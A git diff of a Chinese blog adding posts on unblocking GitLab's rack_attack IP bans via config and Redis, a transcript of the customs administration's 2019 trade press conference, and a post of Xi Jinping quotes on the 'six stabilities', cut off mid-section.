研发人员在任务评估时，执行时遇到困难或者疑问时，应多与前辈沟通，切不可闭门造车。 ++ 研发任务涉及人员过多时，可根据实际需要指定一名项目负责人协助产品负责人推进项目进度。（比如3人） ++ 研发人员应密切关注交付日期，及时给产品负责人反馈，并以实际行动增强其信心。 + + diff --git a/_posts/2020-04-07-494-gitlab-forbidden.md b/_posts/2020-04-07-494-gitlab-forbidden.md new file mode 100644 index 0000000..3d9c268 --- /dev/null +++ b/_posts/2020-04-07-494-gitlab-forbidden.md @@ -0,0 +1,33 @@ +--- +layout: post +title: Gitlab访问出现 403 forbidden解决方案 +pid: 494 +tags: [gitlab, 软件开发] +--- + +``` shell +vim /etc/gitlab/gitlab.rb + +gitlab_rails['rack_attack_git_basic_auth'] = { + 'enabled' => true, + 'ip_whitelist' => ["127.0.0.1","101.00.125.00","333.65.12.43"], + 'maxretry' => 10, + 'findtime' => 60, + 'bantime' => 3600 +} + +gitlab-ctl reconfigure +history + +``` + +进入Redis,删除被墙的IP + +```shell +/opt/gitlab/embedded/bin/redis-cli -s /var/opt/gitlab/redis/redis.socket keys '*' | grep 'rack::attack' | xargs /opt/gitlab/embedded/bin/redis-cli -s /var/opt/gitlab/redis/redis.socket DEL +``` + + +# 参考 + ++[Gitlab访问出现 403 forbidden解决方案](https://my.oschina.net/u/3242075/blog/1824763) diff --git a/_posts/2020-04-08-495-customs-report2019.md b/_posts/2020-04-08-495-customs-report2019.md new file mode 100644 index 0000000..ae6520a --- /dev/null +++ b/_posts/2020-04-08-495-customs-report2019.md @@ -0,0 +1,152 @@ +--- +layout: post +title: 海关总署2019年全年进出口情况新闻发布会 +pid: 495 +tags: [货代] +--- + +[寿小丽] 女士们、先生们，大家上午好，欢迎出席国务院新闻办新闻发布会。今天，我们进行全年有关经济数据的例行发布，非常高兴邀请到海关总署副署长邹志武先生，请他向大家介绍2019年全年进出口情况，并回答大家的提问。出席今天发布会的还有：海关总署统计分析司副司长黄国华先生。 下面，先请邹志武先生作介绍。 2020-01-14 10:00:38 + +[邹志武] 女士们、先生们，各位记者朋友们，大家上午好。很高兴和大家见面，今天是新年海关的首场发布会。我愿意借今天这个机会，向媒体朋友们在过去的一年对海关工作的关心、支持和帮助表示衷心的感谢。同时，也借这个机会给大家提前拜个年，祝大家新春快乐。下面，我先通报2019年我国外贸进出口情况，之后再回答大家提出的问题。 2019年，我国货物贸易进出口总值31.54万亿元人民币，比2018年增长3.4%。其中，出口17.23万亿元，增长5%；进口14.31万亿元，增长1.6%；贸易顺差2.92万亿元，扩大25.4%。 过去的一年，我国外贸发展呈现了总体平稳、稳中提质的态势。具体看，有以下六个方面的特点： 2020-01-14 10:03:10 + +[邹志武] 一是进出口规模逐季攀升。2019年一季度进出口值为7.03万亿元、二季度7.68万亿元、三季度8.26万亿元、四季度达到8.59万亿元。12月份当月更是达到了3.01万亿元，12月当月同比增速达到两位数，为12.7%。其中，出口1.67万亿元，增长9%；进口1.34万亿元，增长17.7%。12月当月外贸进出口、出口、进口规模都创下月度历史峰值。 + +二是主要贸易伙伴位次发生变化，东盟成为我国第二大贸易伙伴。2019年，第一大贸易伙伴仍然是欧盟，对欧盟进出口4.86万亿元，增长8%；对东盟进出口4.43万亿元，增长14.1%；对美国进出口3.73万亿元，下降10.7%；第四大贸易伙伴是日本，对日本进出口2.17万亿元，增长0.4%。此外，我国对“一带一路”沿线国家进出口9.27万亿元，增长10.8%，高出整体增速7.4个百分点。 + +三是民营企业首次超过外商投资企业，成为我国第一大外贸主体。2019年，民营企业进出口13.48万亿元，增长11.4%，占我国外贸总值的42.7%，比2018年提升3.1个百分点。其中，出口8.9万亿元，增长13%；进口4.58万亿元，增长8.4%。外商投资企业进出口12.57万亿元，占我国外贸总值的39.9%。国有企业进出口5.32万亿元，占16.9%。 2020-01-14 10:05:26 + +[邹志武] 四是贸易方式结构进一步优化，一般贸易进出口比重提升。2019年，我国一般贸易进出口18.61万亿元，增长5.6%，占我国外贸总值的59%，比2018年提升1.2个百分点。其中，出口9.95万亿元，增长7.8%；进口8.66万亿元，增长3.1%。加工贸易进出口7.95万亿元，下降5.1%，占25.2%。 + +五是出口商品以机电产品和劳动密集型产品为主，机电产品所占比重接近六成。去年，我国机电产品出口10.06万亿元，增长4.4%，占出口总值的58.4%。其中，电器及电子产品出口4.63万亿元，增长5.4%；机械设备2.87万亿元，增长1.4%。同期，纺织服装等7大类劳动密集型产品出口3.31万亿元，增长6.1%。 + +六是铁矿砂、原油、天然气、大豆等大宗商品进口量增加。2019年，我国进口铁矿砂10.69亿吨，增加0.5%；进口原油5.06亿吨，增加9.5%；进口天然气9656万吨，增加6.9%；进口大豆8851万吨，增加0.5%。此外，肉类产品进口增长比较快，全年进口猪肉210.8万吨，增加75%；进口牛肉165.9万吨，增加59.7%。 这是2019年我国对外贸易的主要特点。 2020-01-14 10:11:08 + +[邹志武] 近年来，海关认真贯彻落实党中央、国务院决策部署，大力压缩整体通关时间，不断深化“放管服”改革，持续优化口岸营商环境。2019年，我国进口、出口整体通关时间比2018年分别压缩42.3%、42.4%，时间是41.4小时和4小时。这个时间比2018年大幅度压缩。 + +总的来看，在国内外风险挑战明显上升的情况下，去年全年我国外贸进出口实现了量的稳定增长和质的稳步提升。当前，世界经济增长持续放缓，不稳定不确定因素增多，海关将以习近平新时代中国特色社会主义思想为指导，全面贯彻党的十九大和十九届二中、三中、四中全会精神以及中央经济工作会议精神，坚持稳中求进工作总基调，以供给侧结构性改革为主线，贯彻落实稳外贸、稳外资等“六稳”要求，持续优化口岸营商环境，推进更高水平对外开放，推动外贸稳定增长、高质量发展，更好地服务国家经济社会发展大局，为全面建成小康社会贡献海关力量。 谢谢大家。 2020-01-14 10:14:10 + +[寿小丽] 下面进入提问环节，提问前请通报所在的新闻机构。 2020-01-14 10:17:46 + +[中央广播电视总台央视记者] 刚才最新发布的数据显示，2019年全年外贸进出口总值同比增长3.4%。您觉得我国外贸逆势增长的主要原因是什么？另外，面对国内外经济环境比较复杂严峻的情况，您对2020年我国外贸走势有什么样的判断？谢谢。 2020-01-14 10:19:02 + +[邹志武] 谢谢您的提问。2019年，我国外贸发展外部环境确实复杂严峻，世界经济增长也持续放缓，国内外风险挑战明显上升。但是在这样的一个情况下，我国外贸仍然保持着稳定增长，而且处于稳中提质的发展态势。现在国内的数字已经出来，国际上的一些数字还要再看一下。从我们初步的分析看，2019年全年我国仍然还是有望继续保持全球货物贸易第一大国的地位。刚才讲我们进出口增长3.4%，是按照人民币计价，按照美元计价总值略有下降，但是我们出口仍呈现0.5%的正增长。按照WTO最新的前十个月的数据，我国出口在全球十大贸易国中表现是最好的。 讲到原因，我认为主要有以下三个方面： 2020-01-14 10:20:10 + +[邹志武] 首先是国内经济稳。我国经济稳中向好、长期向好的基本趋势没有改变。从前11个月数据来看，全国规模以上工业增加值同比增加了5.6%，社会消费品零售总额同比增长8%，固定资产投资同比增长5.2%，全年国内生产总值仍将保持较快的增长，增速明显领先于世界其他主要经济体。我们有党的坚强领导，有中国特色社会主义制度的显著优势，有改革开放以来积累的雄厚物质技术基础，有超大规模的市场优势和内需潜力，国内经济稳定表现为外贸增长奠定了坚实的基础。我觉得这是主要原因。 + +第二是我国经济整体韧性比较强，这个韧性强在外贸领域同样体现出来。我国经济拥有强大的韧性、潜力和回旋的空间，这种韧性在外贸领域是同样具备的。我们是全球最大的制造业国家，拥有完备的工业体系。我们有220多种工业品产量居世界首位，国内产业为外贸发展提供了强有力的支撑。我们有数量庞大的外贸企业，去年有进出口实绩的，就是有实际进出口活动的外贸企业，达到了49.9万家。尤其是生产经营更加灵活的民营企业，释放出更强的外贸发展活力。刚才我们也说到，2019年外贸的一个特点，就是民营企业首次超过外资企业成为最大的外贸主体，其中出口占比更是超过了50%。与此同时，我们的贸易伙伴遍布全球、多点开花。2019年我们对欧盟、东盟等主要贸易伙伴增长的同时，对“一带一路”沿线国家，以及非洲、拉丁美洲等新兴经济市场进出口分别增长了10.8%、6.8%和8%。 2020-01-14 10:24:44 + +[邹志武] 第三是稳外贸政策效应持续释放。2018年以来，我国出台了一系列稳外贸、稳外资政策措施，出台了规模空前的减税降费政策，有效降低了企业负担。这些政策出台以后陆续落地见效，包括先后两次提高部分产品出口退税率，自主降低了包括日用消费品进口关税，取消部分药品进口关税等，政策效应持续释放。比如，涉及两次提高出口退税的商品，2019年出口值增长了7.7%。降税以后的效果也很明显，2019年消费品、医药品进口分别增长19%和25.8%。与此同时，我国全面深化“放管服”改革，有效激发市场主体活力，持续优化口岸营商环境，提升跨境贸易便利化水平。根据世界银行公布的报告显示，2019年我国营商环境跨境贸易指标全球排名，在2018年提升32位的基础上，再次提高了9位，升至全球第56位。欧盟国家之间的通关时间和效率是没有具体的通关时间的，均为零，所以它是按照28个来排名，如果把这个按照一个经济体来算，我们的位次还将有大的提升。 + +关于2020年的外贸形势，我认为当前世界经济增长持续放缓，仍处在国际金融危机后的深度调整期，全球经济不确定性和风险挑战显著增多，外贸发展面临的外部环境依旧严峻复杂。但随着供给侧结构性改革的深入推进，国内“六稳”政策措施继续落地见效，营商环境持续改善，市场主体活力不断增强，外贸结构不断优化，动力转换加快长期趋势没有改变。预计2020年我国外贸有望继续保持总体平稳增长态势，高质量发展将迈上新的台阶。谢谢。 2020-01-14 10:31:24 光明日报记者提问（刘健 摄） + +[光明日报记者] 刚才我们注意到，2019年12月份当月我国外贸进出口明显增长，同比增速达到两位数。我们很想知道具体的原因是什么。谢谢。 2020-01-14 10:40:02 + +[邹志武] 谢谢您的提问，这个问题请黄司长回答一下。 2020-01-14 10:40:38 + +[黄国华] 谢谢您的提问。2019年12月份我国外贸进出口达到两位数的增长，外贸出口和进口值都创历史月度最高值。我们分析主要有以下几个原因： + +第一，2019年11月以来，我国制造业PMI连续两个月扩张，带动了部分原材料和能源产品进口增加。比如，12月份铁矿砂、铜矿砂、成品油进口量分别增加了17.2%、31.9%和10%，推高了进口规模。 + +第二，受国际市场价格上扬影响，部分大宗商品进口均价上涨。比如，12月份的铁矿砂进口均价上涨了18%，在进口量增加17.2%的情况下，推动整个进口增长了1.5个百分点。 + +第三，中美经贸磋商释放了积极信号，企业信心上升。12月份，玩具、塑料制品、家具出口分别增长26.1%、22.7%和14.2%。海关总署每月对3000家外贸企业进行网络问卷调查，其中11月和12月份的调查数据显示，对未来两到三个月出口形势表示乐观的企业数量在增加，12月份增加的数量达到2018年下半年以来的最高值。 此外，还有一个原因，2018年12月份我国进出口是下降的，下降1.4%。 + +换句话说，2018年12月份的同比基数比较低，2019年12月份外贸具有恢复性增长的性质。 谢谢。 2020-01-14 10:41:17 + +[彭博新闻社记者] 我有两个问题。 + +第一个问题，您刚才提到去年全年外贸总量如果以美元来计价，相对来说是有小幅下降的，和用人民币来计价相比是不同的。我想问的是，2019年在计算外贸总量的时候使用的美元汇率是多少？ + +第二个问题，随着中美签署第一阶段经贸协议，中方也同意进一步扩大自美进口，这是否可以在不影响自其他国家和地区进口的情况下来实现这一目标，中方是否会减少自其他地区的进口来用以扩大对美的进口，还是可以在扩大整个外贸总量的同时来实现这两个目标？ 2020-01-14 10:48:13 + +[邹志武] 感谢您的两个问题。第一个关于计价的问题，我想请黄司长来回答。第二个问题，我来回答。 2020-01-14 10:50:10 + +[黄国华] 谢谢。中国海关对外贸易的统计按照国际规则，按照本币来进行统计，我们统计和发布都以人民币为基础。同时，为了国际比较，我们也统计美元值的进出口数据。 您刚才提到汇率的问题，是用什么汇率。我们是在每一票的进出口报关单上，不管是用什么币种申报的，我们按照月度国家外汇管理局公布的折算汇率，同时计算这一票进口或出口货物的人民币值和美元值，而不是到最后一年的时候，用一个平均汇率来进行折算。 2020-01-14 10:51:08 + +[邹志武] 刚才黄司长也讲到，这种统计方式是国际贸易统计的惯例，各国都采取这样的方式，就是用本国的货币来计量贸易统计数据。你刚才讲到，随着中美贸易磋商第一阶段经贸协议即将签署，对中美贸易及中国从其他国家进口的情况，这个问题是这样。去年中美贸易从全年整体的数据来看，是有所下降的，这在前面我的介绍当中已经讲过了。 去年从11月、12月份开始，自美进口已经有了恢复性增长，特别是12月份进口了788.3亿元，增长了9.1%，其中农产品进口141亿元，增长了2倍；汽车进口2.3万辆，增加了1.5倍。去年12月6日，国务院关税税则委员会根据相关企业的申请，开展了大豆、猪肉等自美采购商品加征关税的排除工作，对排除范围内的商品采取不加征反制关税的措施等。12月当月，进口美国大豆、猪肉等都有了大幅度提升。 你刚才提到中美贸易摩擦，确实给我国外贸，也给以美国为主要市场的外贸企业带来一定的压力。尽管我们对美国的出口有所下降，但企业开拓多元化市场成效比较显著，对非美市场的出口增长，此消彼涨，整体出口依然保持增长。我们相信，随着中美即将签署第一阶段经贸协议，不但对中国、对美国，以及全世界，不论对贸易还是对今后经济的预期，都具有重要积极意义。如果签署第一个协议以后，扩大了自美进口，会不会影响其他国家、其他市场对中国的出口？我相信不会的。因为中国有庞大的市场，我们的贸易也是多元化的。我相信，在中美两国共同努力下，中美经济贸易关系会在互利共赢的基础上取得新进展，不仅仅对中美两国，对世界各国的贸易、经济发展都是有益的。谢谢。 2020-01-14 10:55:41 + +[中央广播电视总台国广记者] 想请您介绍我国和“一带一路”沿线国家在外贸进出口方面最新的情况。另外，海关的工作有哪些亮点？海关提出“智慧海关、智慧边境和智享联通”的“三智合作”，将如何服务“一带一路”建设？谢谢。 2020-01-14 11:05:26 + +[邹志武] 谢谢您的问题。 + +首先，我回答您刚才提到的我们与“一带一路”沿线国家外贸进出口的情况。 共建“一带一路”倡议提出以来，我国与“一带一路”沿线国家贸易规模持续扩大，2014年到2019年贸易值累计超过44万亿元，年均增长达到6.1%，我国已经成为沿线25个国家最大的贸易伙伴。去年我们与“一带一路”沿线国家进出口总值是9.27万亿元，增长了10.8%，这个数字高出外贸整体增速7.4个百分点，占进出口总值将近30%，占进出口总值的比重比2018年提升了2个百分点。可以看出，我们对“一带一路”沿线国家贸易呈现非常良好的发展势头。 海关总署认真落实和推进“一带一路”沿线国家的海关以及相关监管部门合作，包括我们与沿线国家海关检验检疫合作，推动贸易便利化，保障国门安全。去年，我们对外签署的海关检验检疫合作文件有198份，涉及到“一带一路”沿线国家有89份。截至到去年，中国海关已经与15个经济体的42个国家（地区）签订了AEO互认安排，互认国家（地区）数量居全球首位，其中包括18个“一带一路”沿线国家，拓展国际贸易“单一窗口”功能和应用场景，与25个部委系统对接、数据共享，提供货物申报、税费支付等16大类近600项企业服务事项，与哈萨克斯坦、越南、蒙古等国相继开通了7条边境口岸农副产品快速通关“绿色通道”，推动开行“一带一路”中欧运邮班列，与“一带一路”沿线接壤国家联合开展病媒生物监测，共同推动健康“丝绸之路”建设。 2020-01-14 11:07:34 + +[邹志武] 您刚才还提到了“三智”，即“智慧海关、智能边境、智享联通”。这是在去年“一带一路”国际合作高峰论坛期间海关总署署长倪岳峰先生提出的。以智能化建设为核心的“三智”，是一个全新的国家海关之间的合作理念，作为海关服务“一带一路”合作高质量发展的务实举措。随着“三智”白皮书《共同推进“智慧海关、智能边境、智享联通”建设与合作的倡议》的发布，中国海关将深耕对外“三智”合作，与更多的国家共建“一带一路”海关信息交换共享平台，加快国际贸易“单一窗口”的建设与对接，推动“一带一路”沿线“三智”合作先行先试项目取得早期收获，努力实现监管智能、治理智能、合作智能，共促互联互通，为“一带一路”建设注入新的活力。谢谢。 2020-01-14 11:12:37 + +[凤凰卫视记者] 我们关注到这次的数据中，民营企业成为了我国第一大外贸主体。请问具体来说，2019年民营企业在进出口方面还有哪些特点？海关总署在支持民营企业进出口方面还有哪些新举措？谢谢。 2020-01-14 11:16:01 + +[邹志武] 谢谢您的提问。 + +刚才讲了，2019年民营企业成为我国外贸第一大主体。我们认为，从亮点方面或者特点方面主要有几个方面： + +一是民营企业主体活力提升。2019年有进出口实绩的民营企业达到40.6万家，这个数字比上一年增加了8.7%。当前民营企业数量的显著增长反映了国内营商环境的持续优化，是我国外贸内生动力和发展活力的重要表现。2019年民营企业进出口增长11.4%，拉动外贸增长4.5个百分点。 + +二是中西部民营企业快速发展。借助“一带一路”倡议和区域综合成本比较优势，民营企业进出口在中西部地区的增长速度更快，2019年中部、西部地区民营企业进出口增速分别达到28.3%和22.4%，这个增幅比东部地区高了19.5个百分点和13.6个百分点。2019年民营企业进出口增幅前4位的省份均处在中西部地区，分别是西藏、湖南、广西和安徽。 + +三是民营企业对新兴市场开拓力度不断增强。2019年民营企业对各个主要市场出口均呈现增长态势，在保持传统市场优势的同时，对东盟、拉美、非洲等新兴市场出口分别增长了25.6%、11.4%、15.6%，这些也都高于全国对上述这三个市场的出口增速。 海关认真落实中央决策部署，努力为民营企业营造更加良好的发展环境。比如，我们推出了不少对民营企业有利的措施，因为民营企业当中小微企业占比较高，在资金周转、纳税、融资等方面有一定压力。针对这个情况，我们推出了关税保证保险改革，把商业保险机制引用到支付税款上，这样的改革受益最大的、参与最多的是民营企业。这项改革明确了信用等级只要是一般信用等级及以上的企业，均可以使用关税保证保险的方式，对他们的通关、税收进行担保。这样可以降低企业融资成本，因为它有担保，可以及时办结通关手续，通关效率大大提升。再比如，海关落实中央减税降费决策部署，目前已经全面取消行政事业性收费，按规定在门户网站设立收费公示专栏，在互联网进行公示，督促各单位落实收费公示工作，做到“不公示，不收费”，切实减轻民营企业的税费负担。 + +下一步，我们还要继续贯彻中央经济工作会议精神，落实党中央、国务院关于支持民营企业发展的一系列工作部署。我们还准备研究出台专门针对民营外贸企业关注问题的具体措施，研究更加具体、更有针对性、更惠及企业的支持措施，全力做好海关监管和服务，进一步优化民营企业营商环境。谢谢。 2020-01-14 11:16:38 + +[印度广播公司记者] 我有两个问题。第一，能否介绍2019年中印双边贸易的数据。第二，中方准备采取哪些措施来减少印度对中国的贸易逆差？ 2020-01-14 11:28:04 + +[邹志武] 谢谢您的提问，这个问题请黄司长回答。 2020-01-14 11:29:30 + +[黄国华] 据我们统计，2019年中国和印度的贸易总值是6395.2亿元人民币，同比增长1.6%，其中中国对印度出口5156.3亿元，增长2.1%，自印度进口1238.9亿元，下降0.2%，贸易顺差是3917.4亿元。中国和印度两国同为重要的新兴经济体，加强交流与合作对于两国来说都具有重要意义，也将促进全球进步和繁荣。 去年10月份，习近平主席应邀赴印度出席中印领导人第二次非正式会晤，加强了中印双方深层次的沟通，推动了各个领域的互利合作。目前，中国的出口产品在印度市场具有较强的竞争优势，同时我们也欢迎更多的印度优质产品进入中国大市场。我们相信，两国深化经贸合作将有利于推动中印贸易更加健康和平稳、平衡发展。谢谢。 2020-01-14 11:29:46 + +[中国新闻社记者] 我们注意到，最近中国出台了《中共中央 国务院关于推进贸易高质量发展的指导意见》。请问，2019年中国外贸在高质量发展方面取得了哪些新进展？谢谢。 2020-01-14 11:31:35 + +[邹志武] 谢谢您的问题。去年我国外贸高质量发展、稳中提质趋势明显。我认为主要体现在以下几个方面： + +一是贸易方式结构持续优化。2019年，产业链更长、附加值更高、更能反映企业自主发展能力的一般贸易进出口增长5.6%，占我国外贸进出口比重达到59%，这个占比比2018年提升1.2个百分点。 + +二是贸易新动能显著增强。去年我国跨境电商等外贸新业态继续保持蓬勃发展态势，其中通过海关跨境电商管理平台进出口达到1862.1亿元，增长了38.3%。市场采购方式进出口5629.5亿元，增长了19.7%。两者合计对整体外贸增长贡献率近14%。 + +三是贸易市场更加多元化。我们企业在继续深耕传统出口市场的同时，继续开拓新兴市场，成效十分显著。刚才我们讲到“一带一路”，2019年我国对“一带一路”沿线国家以及拉美国家的出口比重提升，这就是一个开拓新市场很明显的成效。 四是国际竞争优势显著提高。2019年我国出口商品价格指数上涨2.8%，进口商品价格指数上涨1.4%，贸易条件指数是101.4，说明我们出口同样多的商品可以换回更多的商品。从这个角度来讲，我们的竞争优势进一步提高。根据WTO最新数据测算，2019年1-9月，我国机电类产品、劳动密集类产品在全球市场份额分别提高0.2和0.9个百分点。同时，部分附加值高的产品出口保持良好增长态势。比如，去年我国集成电路出口增长25.3%，半导体器件出口增长26.3%，太阳能电池出口增长47.5%，金属加工机床增长近15%。出口品牌建设成效也比较显著，去年自主品牌商品出口2.9万亿元，增长12%，占出口总值近17%，这个数也比2018年提升了1.1个百分点。 + +五是民生消费类产品进口快速增长。去年我们成功举办了第二届进博会，下调进口环节增值税税率，取消部分药品进口关税，积极扩大消费品进口，丰富了国内商品供给，更好地满足人民日益增长的对美好生活的需要。2019年我国消费品进口增长19%，其中包括水果、化妆品、水海产品进口大幅增长，达到39.8%、38.8%和37.6%。电动载人汽车进口增长1.2倍，人用疫苗进口增长近90%，这都说明我们巨大的消费市场对消费品进口增长起到非常大的拉动作用。谢谢。 2020-01-14 11:32:35 + +[美国国际市场新闻社记者] 今天早上，美国取消了中国作为汇率操纵国的认定。请问，这个事件对今年中国的出口会有什么样的影响？请您能不能详细介绍一下今年出口形势会怎么样？谢谢。 2020-01-14 11:41:59 + +[邹志武] 关于这个问题，我想说很简单的一句话：正确的选择、积极的意义。 + +关于出口，随着中美第一阶段协议即将签署，相信对两国的贸易，甚至对全世界贸易都会有积极的影响，是一个利好消息。谢谢。 2020-01-14 11:42:34 + +[印度报业托拉斯记者] 我有两个问题。 + +第一，刚才从您的介绍当中说到中印双边的贸易较前年增长1.6%，但其实在去年年初的时候，大家普遍有这样一种预期，2019年中印贸易将能突破1000亿美元大关，究竟是什么原因使得中印双边贸易最终数字还是低于预期。 + +第二，您能否介绍印度对中国出口具体商品的数据，比如印度药品对中国出口的数字？ 2020-01-14 11:44:31 + +[邹志武] 谢谢您的问题。关于中印双边贸易的问题，前面黄司长已经作了一个总体的回答。您问的一些具体问题，特别是包括一些具体产品的问题，下来以后我们可以再具体跟您沟通。谢谢。 2020-01-14 11:45:54 + +[寿小丽] 最后两个问题。 2020-01-14 11:46:35 + +[经济日报记者] 刚才邹署长提到我国外贸依然面临比较严峻的内外挑战。下一步，海关从哪些方面来促进外贸稳增长、促发展？谢谢。 2020-01-14 11:46:50 + +[邹志武] 感谢您的问题。近年来，全国海关坚决贯彻落实党中央关于推进国家治理体系和治理能力现代化的各项决策部署，推出了一系列改革措施，持续优化口岸营商环境，促进外贸稳中提质。我先介绍一下我们已经做的主要工作： + +一是持续深化“放管服”改革。取消通关环节的116项证件证明当中的92项，进一步精简行政审批事项，实现涉企经营许可事项“证照分离”试点全覆盖。与此同时，我们进一步简化了进出口监管证件，在口岸验核的监管证件由86种减到44种。这里面除了个别涉及到安全保密的，全部实行了联网核查，这样就免除了企业凭着纸质证明办理相关繁琐手续。同时，我们压减法定检验目录，对进口大宗资源性商品实行先放行、后检验，极大地降低了企业货物滞港时间，货到了就放，事后再抽检。我们还进一步深化“双随机、一公开”，所有能公开的事项一律公开，现在已经公开29项行政检查随机抽查的事项。 + +二是随着检验检疫职能和队伍划入海关，我们按照中央的要求，特别是习近平总书记提出来的改革要发生化学反应。我们把原来涉检的要求、单证、证明、填写的事项和原来报关的事项“两单合一”，对原来两个方面200多个申报事项，现在压缩到105个事项。同时，我们按照一些先进国家的做法实行了五项创新，比如现在开始推行的“两步申报”改革，货物到了以后，仅凭物流相关信息进行概要申报，只填写9项就可以先办理通关手续，在14天之内，企业提货走了以后再进行完整申报，这样大大节省了企业报关所占据的时间，也为企业降低货物滞港所带来的费用。 + +三是积极服务国家区域发展。全力支持海南自由贸易港建设，研究海关监管方案。我们制定出台了洋山特殊综保区海关监管、统计办法和支持措施，支持上海自贸试验区临港新片区建设，支持长三角一体化发展，制定了26项海关支持措施，建立了长三角区域内海关专门一体化工作机制。我们认真贯彻落实粤港澳大湾区建设方案，建立了内地与香港、内地与澳门海关以及口岸其他监管部门的合作机制，出台了专门措施。 + +四是促进综合保税区高质量发展。我们认真落实《国务院关于促进综保区高水平开放高质量发展的若干意见》，协调相关部门制定配套措施和办法20余件，推进相关举措尽快落地落实。去年，全国综保区内企业一线进出口总值达到2.6万亿元，增长了13%，综保区企业进出口数字增长也是高于全国整体增速9.7个百分点。在综保区一线，有进出口实绩的企业有2500多家，同比增长了25.3%。 + +五是创新监管制度，促进新业态发展。我们积极适应新兴业态发展，比如外贸综合服务平台，刚才讲的市场采购，特别是针对跨境电商发展的需要，最近我们刚刚制定并实施了跨境电商退货的一个办法，畅通跨境电商出口退货渠道，使跨境电商商品出的去、退的回。目前已经在十几个海关进行试点，很快要在全国推开。 + +六是支持中小企业。刚才讲到民营企业的时候，我已经把这方面的工作介绍了。 新的一年，我们按照中央的要求，按照“六稳”的具体部署，我们还将出台措施。一是把已经出台的改革措施进一步细化、落地落实，再一个是针对企业的实际需求，研究制定更具有针对性的改革方案。总的来说，要把“放管服”要求，把海关改革特别是检验检疫融入海关以后的深度融合改革真正做好，真正按照产生化学反应的要求，使海关管理按照优化、协同、高效的目标推进。谢谢。 2020-01-14 12:04:24 + +[新华社记者] 我想问一个关于习近平主席即将出访缅甸的问题。请您介绍中缅2019年贸易情况，以及今年中缅在外贸方面会有什么安排？另外，刚才您提到民营经济已经成为第一大外贸主体，尤其是中西部民营企业活力非常强劲，但数据里似乎没有说到东中西部包括东北2019年的外贸表现情况，您能不能简单介绍一下？谢谢。 2020-01-14 12:06:41 + +[邹志武] 中缅贸易的情况，一会儿请黄司长具体介绍。总的来说，中缅贸易的发展是宽领域，多个方面开展，进展是非常不错的。关于民营企业在东部、西部等地区的情况，会后我会给你一个具体的数据。谢谢。 2020-01-14 12:06:57 + +[黄国华] 我介绍一下中缅双边贸易的情况。去年中国和缅甸进出口是1289.1亿元，同比大幅增长28.5%，出口849亿元，增长22.1%，进口440.1亿元，增长了42.8%。作为山水相依、守望相助的友好邻邦，中缅两国政治上高度互信，经济上深度合作，国际地区问题上密切配合。建交70年来，中缅关系在互尊、互信、互助的基础上不断发展，树立了大小国家和睦相处、合作共赢的典范。习近平主席此访，将深化中缅互联互通合作。双方将深化高质量共建“一带一路”合作，推动中缅经济走廊三端支撑和互联互通重大项目积极进展，造福两国和两国人民。谢谢。 2020-01-14 12:09:04 + +[寿小丽] 谢谢两位发布人，谢谢各位记者。今天的新闻发布会就到这里。 2020-01-14 12:15:15　 + + + +# 参考 ++ [海关总署2019年全年进出口情况新闻发布会](http://fangtan.customs.gov.cn/tabid/970/Default.aspx) ++ [海关总署介绍2019年我国外贸进出口情况 20200114](https://www.youtube.com/watch?v=ZSqtNr0M2yk) \ No newline at end of file diff --git a/_posts/2020-04-08-496-6w.md b/_posts/2020-04-08-496-6w.md new file mode 100644 index 0000000..6948ddb --- /dev/null +++ b/_posts/2020-04-08-496-6w.md @@ -0,0 +1,99 @@ +--- +layout: post +title: 六稳 +pid: 496 +tags: [货代] +--- + +12月6日，习近平总书记主持中共中央政治局会议。会议分析研究2020年经济工作，强调全面做好“六稳”工作。 + +“六稳”，即“稳就业、稳金融、稳外贸、稳外资、稳投资、稳预期”。做好“六稳”工作对于保持经济运行在合理区间，确保全面建成小康社会和“十三五”规划圆满收官具有重要意义。 + +近年来，习近平在国内考察、重要会议、国际活动等多个场合，对如何扎实做好“六稳”工作进行了详细阐述。与您一起学习。 + +稳就业 + +要出台更多鼓励就业创业的措施，重点解决好高校毕业生、退役军人、下岗职工、农民工、返乡人员等重点人群的就业问题。 + +——2019年9月18日，在河南考察时的讲话 + +要对就业困难人员及时提供就业指导和技能培训，确保他们就业有门路、生活有保障。 + +——2019年5月22日，在江西考察时的讲话 + +要坚持就业优先战略，把解决人民群众就业问题放在更加突出的位置，努力创造更多就业岗位。 + +——2019年2月1日，春节前夕在北京看望慰问基层干部群众时的讲话 + +稳金融 + +面对未来全球系统性金融风险挑战，我们不但要确保金融安全网资源充足，也要让国际金融架构的代表性更加合理，更好反映世界经济现实格局。 + +——2019年6月28日，在二十国集团领导人峰会上关于世界经济形势和贸易问题的讲话 + +要坚持靶向治疗、精确惩治，聚焦党的十八大以来着力查处的重点对象，紧盯事关发展全局和国家安全的重大工程、重点领域、关键岗位，加大金融领域反腐力度，对存在腐败问题的，发现一起坚决查处一起。 + +——2019年1月11日，在十九届中央纪委三次全会上的讲话 + +希望国际货币基金组织继续在全球贸易议程中发挥积极作用，维护公平开放的全球金融市场，推动国际秩序朝着更加公正合理的方向发展。 + +——2019年11月22日，会见国际货币基金组织总裁格奥尔基耶娃时的讲话 + +稳外贸 + +我们应该坚持以开放求发展，深化交流合作，坚持“拉手”而不是“松手”，坚持“拆墙”而不是“筑墙”，坚决反对保护主义、单边主义，不断削减贸易壁垒，推动全球价值链、供应链更加完善，共同培育市场需求。 + +——2019年11月5日，在第二届中国国际进口博览会开幕式上的主旨演讲 + +我们不刻意追求贸易顺差，愿意进口更多国外有竞争力的优质农产品、制成品和服务，促进贸易平衡发展。 + +——2019年4月26日，在第二届“一带一路”国际合作高峰论坛开幕式上的主旨演讲 + +为此，我们必须坚持对外开放的基本国策，奉行互利共赢的开放战略，深化人文交流，完善对外开放区域布局、对外贸易布局、投资布局，形成对外开放新体制，发展更高层次的开放型经济，以扩大开放带动创新、推动改革、促进发展。 + +——2015年10月29日，在党的十八届五中全会第二次全体会议上的讲话 + +稳外资 + +中国将坚持扩大对外开放，增加商品和服务进口，扩大外资市场准入，加强知识产权保护，形成全方位、多层次、宽领域的全面开放新格局。 + +——2019年11月14日，在金砖国家领导人巴西利亚会晤公开会议上的讲话 + +中国将不断完善市场化、法治化、国际化的营商环境，放宽外资市场准入，继续缩减负面清单，完善投资促进和保护、信息报告等制度。 + +——2019年11月5日，在第二届中国国际进口博览会开幕式上的主旨演讲 + +中国致力于促进更高水平对外开放，坚定支持多边贸易体制，将在更广领域扩大外资市场准入，积极打造一流营商环境。 + +——2019年5月28日，向2019年中国国际服务贸易交易会致贺信 + +稳投资 + 